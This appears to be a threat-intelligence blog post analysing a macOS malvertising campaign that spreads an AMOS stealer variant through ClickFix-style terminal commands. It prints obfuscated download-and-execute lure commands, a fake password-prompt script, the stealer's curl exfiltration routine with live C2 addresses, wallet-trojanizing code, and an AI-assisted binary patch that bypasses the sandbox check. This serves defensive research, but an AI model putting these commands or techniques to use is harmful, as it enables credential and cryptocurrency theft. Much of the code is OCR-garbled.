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Hello and welcome back to another blog post. It has been a minute and | am happy | am finally
finding the time to write down something for the larger public again.

In todays blogpost, we will be investigating a very active malvertising campaign that is currently
targeting MacOS users at scale. As is almost usual with my publications, this story starts with a
researcher reaching out to me with an intriguing find. The researcher, known online as @itspappy,
had observed a campaign spreading a MacOS malware by using a combination of ClickFix-like
techniques and malvertising through the Google Search Engine.

The indicators shared by PaPPy were part of an investigation that had started with someone
almost being compromised by this particular campaign.

Part 1 — On the brink of compromise

According to PaPPy, the almost victim of this campaign has had issues with a lack of storage
space on his MacOS device, which prompted them to search for a potential solution using Google.
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Figure 1. Google malvertising targeting MacOS users

Similar to in the screenshot above, the almost victim had opened the first link in the Google search
results, leading them to a Medium blog post.

From here, they followed instructions on how to clean up storage space on their device, which
odly enough, contained a “copy and paste” field with a shell command that would allegedly help in
the cleanup process.

Luckily, the almost victim got suspicious when the devices started to repeatedly ask for the
MacOS administrative password shortly after they had copied and pasted the command into the
terminal. They aborted the operation, evading a full system compromise by only a single password
prompt.

Indicators collected as a result of this incident included the following:

optimize-storage-mac-osmediumcom <- malicious octopoxcom <- First stage downloadvagturkcom
<- Second stage download
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Sadly, at the time of sharing, those indicators had already partially been taken down. But they did
provide a start for the investigation that followed.

Part 2 —Malvertising at scale

In the days after the above-described incident, PaPPy and | started the process of investigating
this campaign.

Since we knew that the first step of the campaign involved Google Ads advertising Medium.com
articles, we used the public Google Ads Library website to find similar ads.

Using the following Link, we quickly uncovered more than 34 related attacks:
https://adstransparency.google.com/?
region=anywhere&format=TEXT&platform=SEARCH&domain=medium.com

While our first attempt was to get the Medium articles banned, we quickly realized that the actors
are actively maintaining ther malvertising campaign. Every time the Medium staff banned one of
their accounts/articles, they would spin up a new one. Additional Analysis of the ads themselves
revealed that the actors apparently have access to a larger pool of compromised Google Ad
accounts.

Proving that the Ad accounts are compromised is rather straightforward.

Take the following Ad account as an example:

@l mac-ssb-upgrade-161425 medium.com! Sponsorod
r Island Queen Cruises
{_ PLAG EH DL D E R_} woanw, Eslandqueencruises, comd
Learn steps to check why an external drive may not Millionaire’s Row™ Cruise

appear on your Mac,
Miami adventure: Explore al your own pace, hop on,

hop alf
Sponsored Sponsored
Island Quean Cruises & Tours 4 islandqueencruises.com
island qusen cruises & 1OnS wowew, Elancdqueencruises, comdsxplare_miamifmia..,
Island Queen Cruises & Tours Island Queen Cruises & Tours
The One-stop Destination for Planning a Full Schedule Miami City Tours | City Tour & Boal Cruise | Everglades
af Fun during a Visit Tour | Helicopter Tour | Bust Tour

Figure 2: Cruiseship Ad account pushing MacOS USB upgrade AD

Apparently, the account is actively used to advertise Island Queen Cruises, a Miami-based
tourism company. However, it is also currently advertising “MacOS USB Upgrade instructions”. A
rather odd combination.
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A list of over 53 compromised Google Ad account ids used as part of this campaign can be found
in the Appendix/ loC section and was also shared with the Google Team. Hopefully, the affected
entities will be informed, and their account credentials reset.

During the investigation, we also noticed that the attackers were not only using Medium as part of

their infrastructure. The same Cruise company from the image above also advertised three links to
“‘evernote.com” where the attackers apparently set up similar lures.

ipspia
Jiscayne Lady Yacht...

Srriall

v, Ca 5 Weballe @ Dwections

. Host Events on B Waler  Lusury yaches or pevate
I

* company partoes. Coporatn peents mads

@ o, e rnobe, com’

{ _PLACEHOLDER_ }

Learn steps to check why an external drive may nod

appaar on your Mac.,

waw.avemnaole, com’

{ PLACEHOLDER_}

Leamn simple ways to review and manage siorage when wpm B <Dutazce
your Mac runs low an space.,

Spomared |
[1land Queen Croises & Toun
=Rasmy (Rl Boa o aguecy

T Private Yackt Cring Mami

Slake bing Rt paBaring
o ey Viai Sats
g b sti b

& DIRECTIONS T CaLL

@ v vernole, com’

{ _PLACEHOLDER_ }

Learn how lo view hidden files and folders in macOS
using simple sleps.

Figure 3: Examples of Evernote Ads

Yet another Ad Account was used to advertise Medium.com, Evernote, and mssg.me articles,

adding yet another free text sharing website to the mix:
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Figure 4: Different ADs account, Ads on Evernote.com, Mssg.me and Medium.com

The use of “kimi.com” was also observed:
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Figure 5: A Veterinary pushing MacOS fixes on kimi.com and evernote.com
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My personal conclusion here is that these attackers realized that Medium, mssg.me, and similar
platforms make for an easy way to set up “trusted” infrastructure with throwaway accounts,
enabling large-scale fraud at low cost and without needing any KYC or similar. The scale of
compromised Google Ads accounts at their disposal leads me to conclude that this campaign
might be organized by a larger group of criminals, maybe a Traffer group.

Part 3 — The templates

The templates of the above-described lures are very similar.
They involve either troubleshooting macOS-related issues or the installation of different LLM
solutions or MacOS software products.

An example of a usual template for all these services can be seen in the images below.

Medium.com:
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Step 1: Open Terminal

» Press Command (3£) + Space - type Terminal and hit Return

Step 2: Run the Command

« Paste the command into the Terminal window and press Return
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Onesubscription. + ~ . .
Endless stories.

Become a Medium member
for unlimited reading. ¢

echo '64434A315A5341604A69426a64584969496dTT674943417455334e4d5a6D73674c53316a62

4 GED B

What this command does:

» Finds and removes temporary system files

» Cleans app caches and outdated logs

» Frees up space without touching personal data

Figure 6: Medium.com lure

Kimi.com:
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t( Apple Support

@ = MacOS Disk Space Clearing

This method safely removes unnecessary system files and app caches to free up storage on your Mac
without affecting your personal data.

Ml Step 1: Open Terminal

Press Command (38) + Space, type Terminal, press Return.

@ Step 2: Run the Command

Copy the command below into the Terminal window and hit Return:
plain

curl -kfss5L $(echo
*aHROCcHMELY S b2NvLWZ1bTuY 29t L 2xvYWR1ciSzaD9idWls ZDO30DRKZWEWY 2 1hY  YwMmY SMTNIMTY3MD
ABNGEZNDFiMQ=="|basesa -D)|zsh

# How this script works:

e Scans and deletes unnecessary temporary files from the system
* Purges stale application caches and old log entries

* Recovers storage without affecting your personal documents
#F What gets removed:

System caches — temporary files generated by macO5 services that rebuild automatically after

removal

Application caches — stored data from browsers, media players, and other apps that can be safely
cleared

Old log files — diagnostic logs and crash reports that are no longer needed for troubleshooting

Inactive language packs — localization files for languages you don't use, which take up

unnecessary space

Leftover update files — downloaded software updates that have already been installed and are
no longer required

& Result
Your Mac is now cleaned and has more available storage. You can repeat this process whenever

needed.

Figure 7: Kimi.com lure

Evernote.com:




USB Drive Not Showing Up on macOS

This method helps your Mac detect connected USB drives by refreshing system components — safe,
quick, and without affecting your personal files.

Step 1: Open Terminal

+ Press Command (3£) + Space — type Terminal and hit Return

Step 2: Run the Command

+ Paste the command into the Terminal window and press Return

Auto [Bash) ~ |

curl -fLSsk ${echo
' aHROCHMGL Y9 iaWowemFuaWNhLmNvb59 jdX 1sL2RkNzc2M i Z10GM2ZMDExNGOXNWZ1Z j gwNTF § ZWY3Mz
MwNTFLYTUL0DkxYWOINmI10DdkYmZkYmEzOGQINTdhM2ZE=" |L'IBSEE1¢'+ —D:II zsh

What this command does:

1. Reinitializes macOS USB services
Fixes common detection and mounting issues
Does not modify or delete files on your USE drive

B L B

Safe for all storage devices

Figure 8: lite.evernote.com lure

As can be observed, all templates are very straightforward. They start with a headline and a one-
sentence paragraph, usually “This method will help you with X” or “This software does Y”. Then,
they contain two steps explaining how to open a MacOS terminal and what command to copy and
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At the end, they list a set of “Features” or “Fixes” that the command or instructions are allegedly
helping with. This appears to be partially to give a quick reasoning for the reader as to what the
command is doing, but potentially also helps with SEO, since a lot of the key points appear to be
typical search terms rather than actually useful information.

Part 4- Analysis of a full killchain

The killchains that come included with the above mentioned templates are all very straightforward.
Usually, they contain a set of very short consecutive curl requests, ultimately leading to the
execution of a MacOS stealer.

An example observed command looks like this:

5 [ ro-p asesd -D
Figure 9: Command copied from a template website

Deobfuscating the Base64 unveils a curl command:

sLkfS  https://kayeart.com/curl/

c8b9eedcafc837fal8f9fc5eb59f2a7bbBefaf159373681d2e989c6fe

Figure 10: Copied Command — Base64 decoded

Which in turn executes yet another script that is pulled from the actor's server:

0AD END® |

Figure 11: Copied Command — Remote Script

Interestingly, the command in this script is both base64 and gzipped, something | had personally
not seen in a one-liner before.

After deobfuscation, we get the actual command used to download and run a malicious binary:

l -o /tmp/helper https://kayeart.com/soundfix/update && tr -c ftmp/fhelper && chmod +x
helper 8& /[tmp/helps

Figure 12: Copied Command — Remote Script deobfuscated

This last command is responsible for downloading the update file from the actor's server, storing it
as helper into the /tmp folder on the victim's MacOS device, making it executable and executing
it.

11/25



The attacker uses xattr -c here to strip MacOS's quarantine extended attribute
(com.apple.quarantine) from the downloaded binary before executing it. This is done because
when MacOS downloads a file via a browser or certain tools, like curl, it automatically tags it with
this attribute, which triggers the MacOS Gatekeeper to intercept execution and warn the user that
the file came from the internet and cannot be verified. According to my research, the attribute is
put onto curl downloaded binaries based on the system's configuration and might not be applied
to all systems. However, by including the xattr command, the attacker ensures that the binary
runs without any OS-level intervention or user-facing warnings, hiding the execution from the
victim.

The resulting helper file is a MacOS binary in the Macho file format, which will be analyzed in the
next chapter.

A different observed chain would actually go one step further and request the victim's
administrative password as part of the initial access chain:

#!/bin/basf
username=%(whoami)
while true; do

echo -n \"System Password:
' password

-authonly \"$username\” \"%password\”
n \"$password\” > \"/Users/%username/.pas

ho \"Incorrect password! Try again.\"

-0 /tmp/update https://v
y i g dS5W0 r"d '-'l.I s I Sl I-'_iI: 1 - S Xd -i_' Ttr - C _."Irt m p JI.-' Upd a-‘t = _.".I ey ’,.-". il |

tmp/update

Figure 13: Same campaign, different command with fake password prompt

The administrative password prompt is designed to annoy the victim until the password is finally
entered, using an infinite loop. Only if the victim enters the correct password, which is confirmed
by using the dscl . -authonly command, will the prompt disappear. The correctly entered
password is then stored in /Users/susername/.pass for later use. It is also used to execute the
xattr command during the execution of the downloaded malware, using sudo to elevate the
execution of xattr -c. Since | do not own a Mac device, | can't verify if sudo execution of xattr

does make a difference. But the social engineering portion of this approach is certainly interesting.
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Part 5 — New Amost Stealer variant “malext”

As part of my analysis, | obtained several macho binaries, which mark the final payloads of this
campaign. The process of analyzing them proved to be quite an experience, especially for
someone like me who neither knows assembly nor anything about the MacOS environment. But
before we get into my approach of analyzing this binary with the help of Ghidra and ClaudeAl, let's
first talk about the malware's AV/Sandbox evasion.

First things first: No Malware Sandbox that allows for the dynamic execution of MacOS samples
that was available to me was able to successfully execute the sample in its entirety.

Sandboxes | tried:

e Tria.ge
o VirusTotal (which comes with 2 Sandboxes, Zenbox macOS, and VirusTotal Box of Apples )
e Any Sandbox present on Malwarebazaar

| believe that is worth pointing out because to me, it shows that there is room for improvement. |
assume that a key difficulty in creating good MacOS sandboxes is the closed-source nature of
Apple products.

The sandbox detection was logged in Triage, though. It is a straightforward osascript, executed via
/bin/bash:

Figure 14: Obfuscated VM evasion applescript

The strings in the above script are obfuscated using a Caesar-cipher style encryption.

o |t takes two parameters — nums (a list of numbers) and o (an offset/key value)
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e ltinitializes an empty string rpftmfx

e It loops through each number in nums, subtracts the offset o from it, then converts the result
to a character using character id — which is AppleScript's equivalent of chr (), converting
a Unicode/ASCII code point to its character

o Each decoded character gets appended to the string, which is returned at the end

After decrypting all strings and some additional obfuscation, we obtain the following VM evasion
script:

ipt cmd_memory info
t cmd_hardware info

7", "Chip: Unknown™, "Intel C

ardware output for VM signatures

nature in vm_hardware_ signatures
output co s signature then

Figure 15: Deobfuscated VM evasion script

The evasion script makes use of the standard MacOS command system_profiler to query
information about the hardware and memory of the device on which the malware is executed. It
then checks the memory output for process names that might indicate a Virtual Machine, like
QEMU, VMware or KVM. If these process names are not detected, it further checks if the hardware
information contains signatures of known sandboxes or information that is considered "odd" for a
legitimate MacOS system. This includes fake Board Serial numbers for Hackintosh systems,
unknown results for the Chip, or very old Intel Core 2 processors that would indicate a legacy
MacOS system.
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Join Medium for free to get updates from this writer.

Remember me for faster sign in

If a VM is detected, the code exits with code 100; else, it will exit with code 0.

At this point, avid MacOS malware researchers might already recognize what we are dealing with.
But let's not jump the gun and instead figure out how to obtain the actual malware payload from
the macho binary at hand.

The first thing | noticed when looking closer at the malware is that the macho file actually
contained 2 payload binaries compiled for different CPU Architectures.
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Figure 16: Macho file contains payloads for both ARM and x86—64

For the remainder of this analysis section, | will be looking at the x86_64 version of this binary.

Upon opening the extracted x86_64 binary in Ghidra, we can see that it makes use of a pretty
straightforward entry function. There appears to be no attempt to stop anyone from disassembling
the code, which came as an advantage for a beginner like myself.

Now, as | said initially, | have no idea of assembly other than the fact that it is a lot of register
pushing and pulling, and it hurts my eyes when | look at it. Luckily, though, in times of modern
LLMs, you don't really need to understand anymore what you are doing and can still achieve
something. So my next step was to copy and paste the assembly code of the entry function and its
pseudo-C++ code into ClaudeLLM.

Among other things, Claude created the following summary of its functionality:

1. Seed/advance PRNG (likely used to randomize args or timing)2. Build string 3. Execute
via system()4. If success: a. Seed/advance PRNG again b. Build string c. Build
string d. Execute e. Execute 5. Clean up all strings
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Now, as | said, | am not sure what | am doing here. But: we already know that the VM detection
script is executed via what is likely a system() command (/bin/bash executing osascript). We
see that a command is built and executed via system() and if the command succeeds, two other
commands are built and executed. Intuitively, we can assume that what the first system()
command executed is likely the VM detection script, while the next two commands are the actual
payload. Now, there are several things one could do to continue from here. One could feed all
functions into Claude one by one to understand the binary better. One could try to figure out a way
to extract the commands executed by understanding how they are built. Maybe one could attempt
some dynamic debugging and step through the code to get the commands. But since | am a
Threat Intel Analyst and not a reverse engineer, | mostly care about network indicators and easy
solutions, not so much about the beauty of assembly code.

So my idea was to patch the binary and simply remove/ignore the VM check altogether.

Again, Claude came to the rescue, providing exact instructions on how to implement the patch.

The Patch

Relevant Assembly (before patching)

1000012ad EB8 8C 11 00 60  CALL _system ; runs VM detection osascript
1088012b2 AS 00 FF 08 Q0 TEST EAX, OxFFOO ; check high byte of exit code
1000012b7 74 16 JZ LAB_1000012cf } jump to payload if zero
(clean)

1000012bS 31 FF XOR EDI, EDI

lopeelzbb EB BO 05 00 @0  CALL FUN_lo0001870 ; abort path

Patched Assembly

loeoei2ad 90 NOP i

1000012ae 9@ NOP i } CALL _system replaced
igeael12af 9@ NOP i } with 5 NOPs

1068012b8 98 NOP o

1000012b1 9@ NOP i3

1008012b2 31 CO XOR EAX, EAX ; force EAX = 0

1000012b4 90 NOP i}

1068012b5 9@ NOP ; } TEST EAX,OxFFOG replaced
1008012b5s 9@ NOP i 3} with XOR + 3 NOPs

1008012b7 EB 16 JMP LAE 1000012cf 3 JZ — JMP (unconditional)

Figre 17: Assembly patch to bypass VM detection

To put it simply, after this patch, the system call to execute the VM detection is not executed
anymore. The XOR ensures that the EAX register becomes 0. This is not needed for the VM
check patch itself, but it cleans the register, preventing follow-up issues from unexpected registry
values. And then we just jump to the payload unconditionally. Ultimately, the patch leads to the
execution of the payload and completely bypasses the VM check.
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So, after patching the highlighted instructions, saving the patched code as a raw byte file, and
uploading it to VirusTotal, the binary executed in the VirusTotal Sandboxes!
https://www.virustotal.com/qgui/file/35627eb91b5070cd38c333c6c688d6¢c2478ca2b5da7bfd771das

931d64dd4569/behavior

As a consequence of the successful dynamic execution, we now have a 59444-character-long
osascript, which marks the main payload of this malware. As with the previous VM detection
script, it is executed via /bin/bash, which aligns with the system() call we saw in the entry
function.

The beauty here is that code executed via terminals is usually logged in Sandboxes, so instead of
having to extract the payload commands ourselves, we can just take them from the sandbox log
instead.

Following this step, | took a stab at the newly received osascript payload. Same as the initial
sandbox detection script, all strings it contains are obfuscated by using a Caesar cipher
encryption. Additionally, all variables are replaced by random strings. After deobfuscation, it is
immediately apparent that we are dealing with a MacOS info stealer malware, which is likely a
new variant of AMOS stealer. | will go into detail on why | believe that it is a new variant in a bit.
But let's first look at the stealer malware at hand. Ultimately, the name we give it is not as
important as understanding its functionalities and being able to detect it.

So, let's start with looking at the “Main” function, which is executed when the stealer initiates.
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on run set bool_steal_files to set bool_steal_notes to set

bool_steal_history to set str_username to (system attribute ) set str_user_home
to & str_username tell application to set visible of the front window to

set str_user_token to set str_build_id to set str_primary_c2 to set str_cl to
set str_cn to set str_c2_domain to try shell script & str_user_home &
try try shell script & str_user_home & try try shell script
try write_file(str_user_token, str_user_home & ) set str_rand_id to ( number
from to ) as text set str_work_dir to & str_rand_id & try set
str_sysinfo to ( shell script - ) write_file(str_sysinfo, str_work_dir &
) try set str_app_support to str_user_home & set str_saved_pass to
read_file(str_user_home & ) verify_macos_password(str_username, str_saved_pass)

set str_saved_pass to steal password(str_username, str_work_dir)
write_file(str_saved_pass, str_user_home & ) delay write_file(str_saved_pass,
str_work_dir & ) set str_notes_db to str_user_home & copy_file(str_notes_db,
str_work_dir & ) copy_file(str_notes_db & , str_work_ dir & ) copy_file(str_notes_db
& , str_work_dir & ) copy_file(str_user_home & , - str_work_dir & )
copy_file(str_user_home & , - str_work_dir & ) bool_steal files is equal to
grab_files(str_work_dir) copy_directory_recursive(str_app_support & ,
str_work_dir & ) try set str_installed_apps to set arr_apps to list
folder with str_app arr_apps set str_installed_apps to
str_installed_apps & str_app & write_file(str_installed_apps,
str_work_dir & ) try bool_steal_notes is equal to try
read_file(str_work_dir & ) is equal to steal_notes(str_work_dir)

try steal_telegram(str_work_dir, str_app_support) set
arr_chromium_browsers to { = {, str_app_support & }, - {,
str_app_support & }, - {, str_app_support & }, - {,

str_app_support & }, - {, str_app_support & }, - {,

str_app_support & }, - {, str_app_support & }, - {,str_app_support & }, =
{, str_app_support & }, - {, str_app_support & }, - {,

str_app_support & }, - {, str_app_support & } = } set
arr_desktop_wallets to { - {, str_user_home & }, - {,

str_app_support & }, - {, str_app_support & }, - {,

str_app_support & }, - {, str_user_home & }, - {, str_app_support &
}, - {, str_user_home & }, - {, str_app_support & }, = {,
str_app_support & }, - {, str_app_support & }, - {, str_user_home & },
- {, str_user_home & }, = {, str_app_support & }, - {,
str_app_support & }, - {, str_app_support & }, = {, str_user_home & }
= } copy_file(str_app_support & , str_work_dir & ) copy_file(str_app_support
& , str_work_dir & ) copy_file(str_user_home & , str_work_dir & )
write_file(str_username, str_work_dir & ) set arr_firefox_browsers to { = {,
str_app_support & }, - {, str_app_support & } = } with arr_browser
arr_firefox_browsers try steal firefox_profile(item of arr_browser,
item of arr_browser, str_work_dir, bool_steal history) try with
arr_wallet arr_desktop_wallets copy_directory_recursive(item of arr_wallet,
str_work_dir & & item of arr_wallet) steal_chromium_browsers(str_work_dir,
arr_chromium_browsers, bool_steal_history) shell script & str_work_dir &
exfiltrate(str_primary_c2, str_user_token, str_build_id, str_cl, str_cn) try

shell script & str_work_dir shell script try str_saved_pass is

equal to trojanize_ledger(str_user_home, str_saved_pass, str_c2_domain)
trojanize_trezor(str_user_home, str_saved_pass, str_c2_domain) try

install_persistence(str_user_home, str_saved_pass, str_c2_domain) try run
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The code sets up several config variables that can enable/disable partial functionalities, like file
stealing or Apple Notes stealing. This sample has all stealing features enabled, attempting to
exfiltrate as much data as possible. Then it hides its terminal window and collects the victim's
username and homedir, which are key variables for the remaining stealer functionalities.

Next, we can see the C2 configuration:

/ authentication configuration

- str_user_token to "X2h9kxEPMGE@6zWAZL1iKjRztvIE/pVytQtfuclXN1E="
set str build id to "28HFR) 3fnmyCYCEa-2uwxsgqUdtY4tEDhvQriac="
et str_primary_c2 to "hxxp://38.244.158[.]56"

et str_cl to "@"
str cn to "@"
str c2 domain to "malext[.]com”

Figure 18: C2 Config of this AMOS Stealer sample

The domain “malext[.Jcom” has been observed in several samples related to the campaign and is
the reason for my choice of name. For the sake of completeness, there is an additional C2 IP
hardcoded in a different place. We will get to those when we discuss the C2 communications.
Next, the stealer cleans up previous execution artifacts, namely the files

o str_user_home & “/.username” <- Stored unique Usertoken
e str_user_home & “/.agent” <- Another malicious binary downloaded from C2
o /tmp/starter <- LaunchDaemon root persistence

The /.username file is recreated straight after this, storing the str_user_token variable from the
malware's C2 config.

A randomized temporary working directory is then created under /tmp/ using a random 5-digit
number as its name. This folder serves as a tagging area where all stolen data is collected before
exfiltration. System profiling information — software, hardware, and display details —is collected
after that, by using the system profiler command and written to a file named info in this
staging directory as initial reconnaissance information about the victim's system.

The stealer then attempts to obtain the victim’s macOS login password. It first checks whether a
previously stolen password has been cached in ~/.pass and validates it using dsc1l . authonly.
Interestingly enough, this file is the same file that would have been created via the initial access
clickfix command | demonstrated in a previous section, taking away the need to re-steal the
password at this stage. To me, this shows that the attacker in this case seems to have a deep
understanding of the malware they use, or alternatively, that the commands are actually created
by the Stealer vendors themselves and given to clients.
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If no valid cached credential exists, it invokes the password-stealing routine. This routine first
checks whether the account has an empty password — if so, it silently extracts the Chrome
encryption key from the keychain and writes it to a file named masterpass-chrome. If a real
password is required, it falls back to a social engineering approach: a fake system dialog titled
"Application wants to install helper" prompts the victim to enter their device password, looping until
a correct credential is supplied. The obtained password is then cached to ~/ . pass for future runs,
and also written to a file named pwd in the staging directory.

With credentials handled, the actual data collection begins. The Apple Notes SQLite database —
NoteStore.sqlite along with its WAL and SHM sidecar files — is copied directly from the Notes
group container into a FileGrabber/ subdirectory of the staging folder. If the direct copy of the
Notes SQLite database fails or produces an empty file, the stealer falls back to extracting note
content programmatically via AppleScript’s Notes application API, writing the results as an HTML
file named notes.html under FileGrabber/. Notes media attachments are similarly collected up
to a 30MB limit into a FileGrabber/NotesMedia/ subfolder

Safari cookies are copied from both their standard and sandboxed container locations. Similarly,
all stored Safari form values and the iCloud Keychain directory are copied. The grab_files
routine then sweeps the Desktop and Documents folders for files matching a hardcoded extension
list (txt, pdf, docx, wallet, key, keys, doc, jpeg, png, kdbx, rtf, jpg, seed), capped at 30MB total.
Additionally, the OpenVPN configuration profiles are staged under an openvPN/ subdirectory. A list
of installed applications from /Applications is written to a file named installedSoft.

Telegram session data is also targeted, with all files needed for session takeover being copied to
the Telegram Data/ folder in the staging directory.

Next, the stealer targets browser credentials. For Firefox and Waterfox, each profile directory is
enumerated, and a fixed set of files is extracted: cookies.sqlite, formhistory.sqlite, key4.db,
and logins. json, with places.sqlite added if history stealing is enabled. Each profile is also
checked for a MetaMask extension UUID in prefs. js, and if found, the corresponding IndexedDB
storage is extracted separately.

For Chromium-based browsers, each befault and numbered Profile directory is processed.
Cookies are moved to the /Ccookies folder in the staging directory while the /web Data, and
/Login Data folders are copied directly.

Additionally, the Stealer targets 266 different Chrome Browser Extensions, of which over 200 are
related to cryptocurrency wallets and tooling, and more than 25 are password managers. This is
done by comparing installed extensions against a large array of targeted extension IDs and
copying specific extension data files for every matching extension found.

The macOS login keychain database is copied in its entirety to a file named keychain.
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Desktop cryptocurrency wallet data is staged under a deskwallets/ subdirectory, with sixteen
wallet applications targeted by their respective application directories. Individual config files for
Binance and TonKeeper are also copied directly.

Once all collection is complete, the entire staging directory is compressed into /tmp/out.zip
using ditto. Exfiltration is handled by a curl POST to the primary C2, sending the archive with
the user token and build ID in custom HTTP headers.

-- C2 EXFILTRATION

-- Sends /tmp/out.zip to C2 server via curl POST (3 attempts, fallback IP)
on exfiltrate(str_c2_url, str_user_token, str_build_id, str_cl, str_cn)
-- Try primary C2 URL first
repeat with int attempt from 1 to 3
try

set str curl to "curl --connect-timeout 128 --max-time 388 -X POST" & -
-H \"user: " & str_user_token & "\"" & -

-H \"BuildID: " & str_build id & "\"" & -

-H \"cl: " & str cl & "\"" & -

H \"cn: " & str_cn & "\"" &
-F \"file=@/tmp/out.zip\" " & -
str_c2 url & "/contact”

o she script str_curl
return
end try

end repeat

-- Fallback to hardcoded IP: 199.217.98.33
set str_fallback _c2 to "http://199.217.98.33"
repeat with int attempt from 1 to 3
try
set str_curl to "curl --connect-timeout 120 --max-time 308 -X POST" &
" -H \"user: " & str_user_token & "\"" & -
" -H \"BuildID: " & str_build id & "\"" & -
" -H \"cl: " & str cl & "\"" & -
" -H \"cn: " & str cn & "\"" & -
" -F \"file=@/tmp/out.zip’\"” " &
str_fallback c2 & "/contact™
do shell script str_curl
return
end try
ay 15
end repeat
end exfiltrate

Figure 19: Exfil function of this AMOS Stealer variant

The exfiltration routine retries the exfiltration up to three times if it errors, each attempt having a
15-second delay. If all attempts fail, an alternative fallback exfil IP (199.217.98.33) is used, with
another three attempts. Following successful exfiltration, the staging directory and zip archive are




deleted. | was unable to confirm why the fallback C2 server is not part of the initial C2 server
configuration.

In its final phase before completion, the Stealer then attempts to backdoor two specific
cryptocurrency wallets. This step depends on succesfully obtaining the MacOS User password.

If a valid password was obtained, the stealer checks whether Ledger Wallet and Trezor Suite are
installed and, if so, downloads trojanized replacement binaries from malext[.]com — app.zip
and apptwo.zip respectively — Kills the running applications, and replaces them using sudo with
the stolen password. A marker file ~/.1ogged with the value user10 is written, likely signaling to
the C2 that the trojanization step was executed.

Below, we can see the code for replacing the Ledger Wallet.

SCriy T & wted form of (str_user_home & "/
write file("userl@®”, str_user_home & "/. d")

ement

& str_c2 domain & "/ fapp.zip -o /tmp/fapp.zip"

-- Kill running Ledger
try
"pkill \"Ledger Wallet\""

end try

-- Replat

| sudo -S

“rm ftmp/fapp.zip”
end try
end trojanize ledger

Figure 20: Code used to replace Ledger Wallet with backdoored version

Finally, persistence is established via a Launchbaemon plist installed to
/Library/LaunchDaemons/com.finder.helper.plist, which executes a bash script at ~/.agent
on boot with KeepAlive enabled. That agent script runs in an infinite loop, detecting the logged-in
console user and executing ~/ .mainhelper — a binary downloaded fresh from the C2 at
malext[.]com/zxc/kito — as that user. | was unable to obtain the /kito binary.
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Based on recent public reporting, however, | assume that this file would have been the backdoor
component of AMOS Stealer, which allows an attacker persistent remote command execution on
infected devices. As a reference, refer to this article:
https://moonlock.com/amos-backdoor-persistent-access

While it does not go into thorough details on how the backdoor works exactly, it does highlight the
execution path as

1. Execution of LaunchDaemon -> com.finder.helper.plist
2. Leads to the execution of .agent
3. Leads to the execution of .helper

which is almost identical to the code observed in the script obtained from the malware analyzed in
this article, with the only difference being the .helper file being named .mainhelper in our case.

For additional reasons why | believe that this malware is an AMOS variant, look at the graphic
below by Red Canary from October 2025:

STEALER
FAMILY ATOMIC STEALER POSEIDON/ODYSSEY
HTTP request = curl commands often contain BuildIp = curl commands often contain buildid
headers [copital 8 ond 10) (lowercase b and id)
B generic user header = gpecified username

= gdditional custom headers: cl: eandcn: @

File names = com.finder.helper.plist 5 jtmp/ledger.zip
=" helper B hardware
B ftmpfapp.zip B init
= info = starter
URL paths B Jfrwcfapp.zip = Jotherassets/ledger.zip
B Srxc/fapp B fotherassets/botnet

Figure 21: Red Canary Overview AMOS Stealer vs. Odyssey Stealer

We can observe com.finder.helper.plist, /tmp/app.zip, info and the /zxc/* URL paths in
our sample. The BuildID header is also in capital letters, which aligns with AMOS stealer. The
only thing that threw me off is the c1: © and cn: © headers, which are attributed to Odyssey
Stealer. Odyssey Stealer was coded by a former AMOS stealer developer, so it comes only
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https://moonlock.com/amos-backdoor-persistent-access
https://redcanary.com/blog/threat-intelligence/atomic-odyssey-poseidon-stealers/

natural that the code is very similar. However, after a conversation with several MacOS malware
researchers, | conclude that AMOS is now using the c1: © and cn: © headers too. All the other
code simply aligns too well with AMOS Stealer.

Part 6 — Summary

In this article, | covered a malvertising campaign targeting MacOS users at global scale. What
started as a small investigation of a single incident turned into the discovery of over 50
compromised Google Ads accounts, pushing over 485 malicious landing pages, ultimately leading
to a ClickFix attack that deployed a potentially new version of AMOS Stealer onto infected
systems. The fake landing pages are spread over a plethora of free text-sharing platforms, like
medium.com, kimi.com, evernote.com, and mssg.me, with attackers expanding onto new, similar
platforms over time.

Two distinct initial access command chains leading to the stealer deployment were discussed,
showing — in my opinion — interesting tricks like the use of gzip and password prompt social
engineering that form part of these attack vectors. | then continued to showcase how | — as a
complete noob in assembly and MacOS malware — was able to leverage Claude Al to bypass the
VM check of the AMOS Stealer binary, a check which prevented execution in all major MacOS
sandboxes. Last but not least, this article showcased the AMOS Stealer payload code briefly, by
highlighting its key functionalities, exemplified using the stealer's main function, its C2 exfiltration
function, and persistence mechanism. | also showcased how the code is able to backdoor the
Ledger Wallet app, as one of two crypto wallets explicitly backdoored by this attack. Towards the
end, | highlighted my thoughts about why this malware is likely an AMOS stealer variant and not
Odyssey stealer, since both malware families are exceptionally close in terms of source code,
making attribution a difficult task.

| hope you enjoyed this blog post! Thank you to @itspappy for pointing me towards this topic. It
was a very interesting piece to reasearch, and | learned a lot about the MacOS malware scene
and how MacOS stealers accomplish their malicious objectives.

Further below, you can find the 10C section, which will link to my GitHub profile, since that allows
for easier copy-pasting.

Shoutout to all my friends and followers in the #infosec scene, | thoroughly enjoy working and
collaborating with you all, and hope to be publishing more in the near future.

Until then

Cheers

Part 7-10C

Targeted Extensions with Names
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Part 8 — Other people looking into this

Just a collection of tweets related to this and similar campaigns:
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